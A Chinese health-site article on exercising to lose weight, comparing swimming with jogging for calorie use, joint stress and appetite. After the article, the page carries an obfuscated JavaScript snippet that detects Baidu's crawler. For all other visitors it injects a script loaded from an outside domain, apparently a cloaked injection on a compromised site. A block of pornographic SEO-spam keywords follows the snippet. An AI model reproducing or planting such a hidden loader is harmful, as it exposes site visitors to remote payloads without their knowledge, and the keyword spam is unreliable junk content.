當前位置:首頁 > 減肥 > 運動減肥 > 正文

如何運動有效減肥呢?

2017-04-23 10:41:13  來源:360常識網(wǎng)   熱度:
導(dǎo)語:在人們看來,好的身材自然是不存在贅肉的,然而從目前的現(xiàn)狀來說,人們的生活方式發(fā)生了很大的變化,身體各個部位的贅肉都經(jīng)常可見。要想達

在人們看來,好的身材自然是不存在贅肉的,然而從目前的現(xiàn)狀來說,人們的生活方式發(fā)生了很大的變化,身體各個部位的贅肉都經(jīng)常可見。要想達到減肥的效果,就需要采用正確的方法,像運動健身還是很不錯的,長期堅持下來,效果會很理想,那么如何運動有效減肥呢?

1.從消耗能量角度來比較,同樣強度(心率)時,游泳和慢跑消耗的熱量差不多,游泳稍微比跑步高一點。

2.從關(guān)節(jié)保護的角度來說,游泳能減少腰關(guān)節(jié)和膝關(guān)節(jié)的壓力。這兩個關(guān)節(jié)是體重過大的人最容易受損的。游泳時的體姿決定了這些關(guān)節(jié)不用受到來自地面的沖擊力。而跑步則會在很大程度上增加這兩個關(guān)節(jié)的壓力。但是游泳過于頻繁會增加肩關(guān)節(jié)磨損的幾率。尤其是自由泳和仰泳,因為這兩種泳姿下肩關(guān)節(jié)進行大幅度的旋轉(zhuǎn)。

3.從整體減肥效果來說,游泳,尤其在冷水中游泳,身體受到冷刺激,會保護性的儲存脂肪來保溫,從而造成運動后食欲大增,之后不知不覺攝入熱量增加。因此整體減脂效果不如跑步。除非你時刻保持清醒的狀態(tài),控制自己的食欲。或者你有寫飲食日志的習(xí)慣。當然,這需要極強的意志菜能完成。

游泳是全身運動,每天你在路上準備活動充分的過程中,下水游1到1個半小時之間,比較合理。如你游泳時間過長,運動量過大的話,消耗你體內(nèi)的脂肪會增加,相應(yīng)的你的飯量就會見長,如果你說控制食欲的話,長時間堅持這么游的話會產(chǎn)生低血糖的癥狀,頭暈惡心等。

英國最新的一項研究為這些人解除了煩惱:不是“運動越多必然吃得越多”,慢跑就是既可以達到運動效果又不必在運動后大吃大喝的一項運動。

關(guān)于如何運動有效減肥呢,上文中已經(jīng)給出了明確的答復(fù)。患者們需要為自己的健康負責(zé),任何一種減肥方法都需要以保障健康為前提,而運動減肥就是再好不過的選擇了。當然了每天的運動量和運動的強度,不能超出人體所能承受的負荷。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
2022久久国产精品免费热麻豆| 91精品国产肉丝高跟在线| 国产成人综合一区精品| 国产一区二区精品久久| 国产精品国产AV片国产| 亚洲成人精品久久| 国产日韩高清三级精品人成| 人妻少妇精品视频三区二区一区| 久久精品国产99久久| 亚洲精品视频在线看| 精品videossexfreeohdbbw| 亚洲精品线在线观看| 久久久不卡国产精品一区二区| 日产精品卡一卡二卡三的概述| 久久精品亚洲一区二区| 国产精品无码不卡一区二区三区| 亚洲国产精品自在自线观看| 亚洲综合国产精品| 久久亚洲中文字幕精品一区四| 国产精品久久久久久久久久免费 | 国产精品亚洲四区在线观看| 国产成人精品一区二区三区无码 | 久久99国产精品| 在线精品自拍无码| 国内成人精品亚洲日本语音 | HEYZO无码综合国产精品227| 少妇人妻偷人精品视蜜桃| 国产精品大白天新婚身材| 亚洲AV日韩精品久久久久| 国产精品最新国产精品第十页 | 国产亚洲精品国产| 国产精品一区二区综合| 91久久亚洲国产成人精品性色| 亚洲精品国精品久久99热一| 精品国产黑色丝袜高跟鞋| 精品国产三级在线观看| 亚洲一区二区三区精品视频| 久久精品国产精油按摩| 国产午夜精品一区二区三区小说| 国产午夜福利久久精品| 日韩精品视频观看|